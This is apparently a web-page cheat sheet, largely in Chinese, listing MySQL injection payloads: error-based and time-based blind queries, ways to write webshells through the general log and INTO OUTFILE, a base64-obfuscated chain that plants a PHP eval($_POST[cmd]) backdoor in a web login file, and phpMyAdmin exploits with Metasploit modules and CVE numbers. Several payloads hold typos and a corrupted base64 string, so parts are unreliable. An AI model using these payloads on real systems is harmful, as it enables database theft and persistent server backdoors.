Table of Contents
SQL注入语法
通过日志写shell
利用条件
通过into outfile写shell
phpmyadmin 漏洞合集
Home Operation and Maintenance Safety What are the SQL injection syntaxes?

What are the SQL injection syntaxes?

May 13, 2023 pm 09:52 PM
sql

SQL注入语法

报错注入

updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

extractvalue(1,concat(0x7e,(select database()),0x7e),1)--+

select count(*) from information_schema.tabeles group by concat((select database(),floor(rand(0)*2)

select substr(version(),1,1)='X'

select substring(version(),1,1)='X'
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列名重复报错

select * from (select name_const(version(),1))a;

select * from (select name_const((version()),1),name_const((select database()),1))a;

select * from (select * from users a join users b)c;
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数据溢出报错

select (select(!x-~0) from (select(select user())x)a);

select ~0+!(select * from (select user())x);
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几何函数报错

multipoint((select * from(select * from(select user())a)b));
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case when 语句

select * from datadatabase() case id when 1 else 2 end
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时间注入

if right((select database()),a,b)>'s' sleep(5)

if assic(substr((select database()),a,b))=98 sleep(5)

if assic(substr((select database()) from a to b))=98 sleep(5)

if ord(mid((select database()),a,b))=98 sleep(5)
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通过日志写shell
利用条件

已知物理路径,目录可写,root权限。

查看配置

show variables like '%general';

开启general log模式

set global general_log=on;

设置日志写shell地址*

set global general_log_file="/var/www/html/log.php";

写入shell

select "<?php phpinfo();>";

通过into outfile写shell

利用条件

已知物理路径,目录可写

select '<?php  phpinfo();>' into outfile ‘/var/www/html/1.php'
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通过导出表写入shell

use mysql;

create table shell(shell1 text not null);

insert into shell(cmd1) values('<?php  phpinfo();>');

select cmd1 from a into outfile '/var/www/html/1.php';
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mysql from_base64函数利用

利用base64编码来加密,然后使用自定义变量接到,在使用prepare和EXECUTE来执行语句,完成日志写shell的操作。

set

set 用户定义一个变量,变量里面是sql可以执行的语句。

What are the SQL injection syntaxes?

prepare

prepare name from value;

prepare 语句用于预备一个语句,并指定名称name,然后引用改语句。

What are the SQL injection syntaxes?

execute

execute 语句用于执行预备的语句。

What are the SQL injection syntaxes?

联合起来利用

set @sql1 = (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZz1vbg=='));
/*set global general_log=on*/
PREPARE name from @sql;
EXECUTE name;
set @sql2= (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZ19maWxlPSJDOlxcTVlPQVxcd2Vicm$9$vdFxcbG9naW4ucGhwIg=='));
/*set global general_log_file="C:\\MYOA\\webroot\\login.php"*/
PREPARE name from sql2;
EXECUTE name;
select "<?php  eval($_POST[cmd]); ?>";
set @sql3 := (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZyA9IG9mZg=='));
/*set global general_log = off*/
PREPARE name from @sql3;
EXECUTE name;
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phpmyadmin 漏洞合集

phpmyadmin存在pregreplaceeval漏洞

影响版本:3.5.x

phpmyadmin存在serversync.php后门漏洞

影响版本 phpmyadmin v3.5.2.2

msf利用模块 : exploit/multi/http/phpmyadmin3522_backdoor CVE-2012-5159

phpmyadmin 配置文件/config/config.inc.php存在命令执行漏洞

影响版本: 2.11.x

msf利用模块:exploit/unix/webapp/phpmyadmin_config CVE-2009-1151

登录处漏洞

利用方法:用户名处写入'localhost'@'@"

影响版本:2.113/2.114

php爆绝对路径

phpMyAdmin/libraries/selectlang.lib.php

phpMyAdmin/darkblueorange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpmyadmin/themes/darkblue_orange/layout.inc.php

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